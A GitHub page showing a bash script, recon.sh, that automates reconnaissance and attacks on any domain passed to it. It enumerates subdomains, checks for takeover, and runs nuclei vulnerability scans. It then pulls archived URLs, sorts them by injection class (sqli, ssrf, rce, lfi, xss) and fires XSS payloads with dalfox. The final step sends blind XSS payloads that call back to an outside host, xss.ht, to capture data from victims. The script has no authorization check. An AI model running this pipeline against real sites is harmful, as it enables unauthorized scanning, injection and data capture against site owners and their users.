-
Notifications
You must be signed in to change notification settings - Fork 1
/
recon.sh
executable file
·95 lines (64 loc) · 2.62 KB
/
recon.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/bin/bash
domain=$1
wordlist="/root/Wordlist/deepmagic.com-prefixes-top500.txt"
resolvers="/root/Wordlist/resolvers.txt"
domain_enum(){
mkdir -p $domain $domain/sources $domain/recon $domain/recon/nuclei/ $domain/recon/waybackurl $domain/recon/ffuf $domain/recon/gf $domain/recon/dalfox $domain/recon/Gxss
echo "Making Dir Done"
subfinder -d $domain -o $domain/sources/subfinder.txt
echo "Subfinder Done"
assetfinder -subs-only $domain | tee $domain/sources/assetfinder.txt
echo "Assetfinder Done"
amass enum -passive -d $domain -o $domain/sources/amass.txt
echo "Amass Done"
shuffledns -d $domain -w $wordlist -r $resolvers -o $domain/sources/shuffledns.txt
echo "shuffledns Done"
cat $domain/sources/*.txt > $domain/sources/all.txt
}
domain_enum
resolving_domain(){
shuffledns -d $domain -list $domain/sources/all.txt -o $domain/domains.txt -r $resolvers
echo "shuffledns resolving Done"
}
resolving_domain
domain_subz(){
mkdir $domain/recon/Takeoversub
subzy --targets $domain/domains.txt --hide_fails | tee $domain/recon/Takeoversub/subzy.txt
subover -l $domain/domains.txt | tee $domain/recon/Takeoversub/subover.txt
}
domain_subz
domain_http_prob(){
cat $domain/domains.txt | httpx -threads 200 -o $domain/recon/httpx.txt
echo "httpx Done"
}
domain_http_prob
domain_nuclie(){
cat $domain/domains.txt | nuclei -t /root/nuclei-templates/ -r $resolvers -o $domain/recon/nuclei/result.txt
echo "Nuclie DOne"
}
domain_nuclie
domain_waybackurl(){
cat $domain/domains.txt |waybackurls > $domain/recon/waybackurl/allurltemp.txt
cat $domain/recon/waybackurl/allurltemp.txt| egrep -v "\.woff|\.ttf|\.svg|\.eot|\.png|\.jpeg|\.jpg|\.svg|\.css|\.ico" |sed 's/:80//g;s/:443//g' | sort -u |urldedupe >> $domain/recon/waybackurl/waybackvalid.txt
}
domain_waybackurl
domain_fuffer(){
ffuf -c -u "FUZZ" -w $domain/recon/waybackurl/waybackvalid.txt -of csv -o $domain/recon/ffuf/ffuftempall.txt
cat $domain/recon/ffuf/ffuftempall.txt |grep http | awk -F "," '{print $1}' >> $domain/recon/ffuf/validffuf.txt
}
domain_fuffer
domain_gf_patterns(){
stringList=debug_logic,idor,img-traversal,interestingEXT,interestingparams,interestingsubs,jsvar,lfi,rce,redirect,sqli,ssrf,ssti,xss
# Use comma as separator and apply as pattern
for val in ${stringList//,/ }
do
gf $val $domain/recon/waybackurl/waybackvalid.txt |tee $domain/recon/gf/$val.txt
done
}
domain_gf_patterns
gxsss(){
cat $domain/recon/gf/xss.txt|Gxss -p BITCH |dalfox pipe -o $domain/recon/dalfox/result_xss.txt
#Note add your Own domain after --blind
cat $domain/recon/gf/xss.txt|Gxss -p BITCH |dalfox pipe --blind https://mohanlal11.xss.ht -o $domain/recon/dalfox/result_blind.txt
}
gxsss